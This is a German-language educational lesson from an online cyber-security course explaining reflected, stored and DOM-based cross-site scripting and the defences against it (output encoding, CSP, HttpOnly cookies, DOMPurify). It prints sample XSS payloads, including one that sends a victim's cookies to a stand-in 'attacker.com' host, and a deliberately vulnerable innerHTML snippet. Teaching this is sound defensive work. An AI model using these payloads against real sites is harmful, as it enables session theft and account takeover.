Cross-Site-Scripting (XSS)
Untersuchen Sie reflektiertes, gespeichertes und DOM-basiertes XSS anhand realer Payloads und CSP-Gegenmaßnahmen.
Cross-Site-Scripting (XSS) ist eine kostenlose Cyber Security Academy-Lektion auf CoddyKit. Dies ist Lektion 2 von 4. Du kannst die komplette Lektion unten kostenlos lesen – dann übst du sie direkt im Browser mit einem integrierten Code-Editor und einem KI-Tutor rund um die Uhr. Sie ist Teil des Cyber Security Academy-Lernpfads, und dein Fortschritt wird über Web und CoddyKit-App synchronisiert. Der Cyber Security Academy-Kurs umfasst insgesamt 4 Lektionen.
Was ist XSS?
Cross-Site Scripting (XSS) tritt auf, wenn ein Angreifer schädliches JavaScript in eine Webseite einschleust, die von anderen Benutzern aufgerufen wird. Der Browser führt das Skript im Kontext der Sitzung des Opfers aus. Dadurch werden unter anderem der Diebstahl von Cookies, Keylogging und die Manipulation der Seite ermöglicht.
Reflektiertes XSS
Reflektiertes XSS (nicht persistent): Das schädliche Skript ist in der Anfrage enthalten, beispielsweise als URL-Parameter, und wird in der Antwort zurückgegeben. Das Opfer muss auf einen präparierten Link klicken. Beispiel: https://site.com/search?q=<script>alert(1)</script>
Gespeichertes XSS
Gespeichertes XSS (persistent): Das schädliche Skript wird in der Datenbank gespeichert, beispielsweise in einem Kommentar oder Profilfeld, und an jeden Besucher ausgeliefert. Es ist gefährlicher als reflektiertes XSS, da kein spezieller Link erforderlich ist — jeder Seitenaufruf löst das Skript aus.
DOM-basiertes XSS
DOM-basiertes XSS tritt auf, wenn JavaScript von einem Angreifer kontrollierte Daten, etwa einen URL-Hash oder einen Query-Parameter, ausliest und sie ohne Bereinigung in das DOM schreibt. Der Angriff findet vollständig clientseitig statt; der Server bekommt die Nutzdaten nie zu sehen.
// Vulnerable code:
document.getElementById("msg").innerHTML = location.hash.slice(1);
// Attack URL: https://site.com/page#<img src=x onerror=alert(1)>Auswirkungen von XSS
Was ein Angreifer mit XSS tun kann:
- Sitzungscookies stehlen (
document.cookie) → Kontoübernahme - Tastatureingaben protokollieren (Passwörter beim Eingeben stehlen)
- Auf Phishing-Webseiten umleiten
- Aktionen als das Opfer ausführen (CSRF über XSS)
- Die Seite verfälschen
XSS-Nutzdaten
Einfache Test-Nutzdaten:
<script>alert(document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
<svg onload=alert(1)>Ausgabe-Kodierung
Die wichtigste Abwehrmaßnahme: alle vom Benutzer kontrollierten Ausgaben kodieren, bevor Sie sie in HTML einfügen. Wandeln Sie Sonderzeichen in HTML-Entitäten um: < → <, > → >, " → ".
Verwenden Sie eine zum jeweiligen Kontext passende Kodierung: HTML, JS, URL, CSS.
Content Security Policy (CSP)
CSP ist ein Antwort-Header, der dem Browser mitteilt, welche Skripte ausgeführt werden dürfen. Eine strikte CSP blockiert Inline-Skripte und begrenzt die Quellen:
# Response header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com;
# Blocks all inline JS and scripts from unauthorized domainsHttpOnly-Cookies
Wenn Sie das Flag HttpOnly für Sitzungscookies setzen, kann JavaScript sie nicht über document.cookie auslesen. Selbst wenn XSS ausgelöst wird, kann der Angreifer das Sitzungstoken nicht stehlen. Neben der Ausgabe-Kodierung ist dies die wichtigste Schutzmaßnahme.
Bibliotheken zur Bereinigung
Wenn Benutzer HTML eingeben dürfen müssen, etwa in Editoren für Rich Text, verwenden Sie eine Bibliothek zur Bereinigung, anstatt eine eigene Lösung zu schreiben:
- DOMPurify (JavaScript)
- bleach (Python)
- OWASP Java HTML Sanitizer
XSS-Tests
Testen Sie auf XSS mit den Entwicklertools des Browsers, Burp Suite oder automatisierten Scannern. Prüfen Sie alle Felder für Benutzereingaben, URL-Parameter, HTTP-Header und DOM-Sink-Funktionen: innerHTML, document.write, eval, setTimeout mit String-Argumenten.
Schnelltest: XSS
Welcher XSS-Typ speichert die schädlichen Nutzdaten in der Datenbank, sodass sie bei jedem Besucher der betroffenen Seite ausgeführt werden?
Zusammenfassung der Lektion
XSS schleust JavaScript in Seiten ein, die von Opfern aufgerufen werden. Typen: reflektiert (URL-basiert), gespeichert (in der Datenbank persistent) und DOM-basiert (clientseitig). Die wichtigsten Abwehrmaßnahmen sind Ausgabe-Kodierung, HttpOnly-Cookies und Content Security Policy. Verwenden Sie DOMPurify zur Bereinigung von HTML. Fügen Sie nicht bereinigte Benutzerdaten niemals in innerHTML oder eval() ein.
Häufig gestellte Fragen
Ist die Lektion „Cross-Site-Scripting (XSS)“ kostenlos?
Ja — der vollständige Text von „Cross-Site-Scripting (XSS)“ ist hier im Web kostenlos zu lesen. Um sie interaktiv zu üben (integrierter Code-Editor und 24/7 KI-Tutor) und den Rest des Cyber Security Academy-Kurses freizuschalten, upgrade auf CoddyKit PRO. Der Cyber Security Academy-Kurs umfasst insgesamt 4 Lektionen.
Was lerne ich in „Cross-Site-Scripting (XSS)“?
Untersuchen Sie reflektiertes, gespeichertes und DOM-basiertes XSS anhand realer Payloads und CSP-Gegenmaßnahmen. Du übst Cyber Security Academy mit praktischem Code, den du direkt im Browser ausführst, und ein 24/7 KI-Tutor beantwortet deine Fragen während du die Lektion bearbeitest.
Brauche ich Erfahrung, um Cyber Security Academy zu starten?
Keine Vorkenntnisse erforderlich. Cyber Security Academy auf CoddyKit ist für Anfänger bis fortgeschrittene Lernende strukturiert, sodass du hier starten oder von Anfang an beginnen und in deinem eigenen Tempo voranschreiten kannst. Dies ist Lektion 2 von 4.
Wie lange dauert die Lektion „Cross-Site-Scripting (XSS)“?
Die meisten CoddyKit-Lektionen dauern etwa 5–10 Minuten. Jede ist kompakt und interaktiv, sodass du stetig Fortschritte machst und genau dort weitermachst, wo du aufgehört hast – im Web und in der App.
Kann ich in dieser Cyber Security Academy-Lektion Code schreiben und ausführen?
Ja. Jede Cyber Security Academy-Lektion enthält einen integrierten Code-Editor, sodass du echten Code direkt in deinem Browser schreibst und ausführst und sofort KI-Feedback erhältst — ohne lokale Einrichtung erforderlich.
Alle Lektionen in diesem Kurs
- SQL-Injection: Wie und warum sie funktioniert
- Cross-Site-Scripting (XSS)
- Cross-Site-Request-Forgery (CSRF)
- Fehlkonfigurationen und exponierte Dienste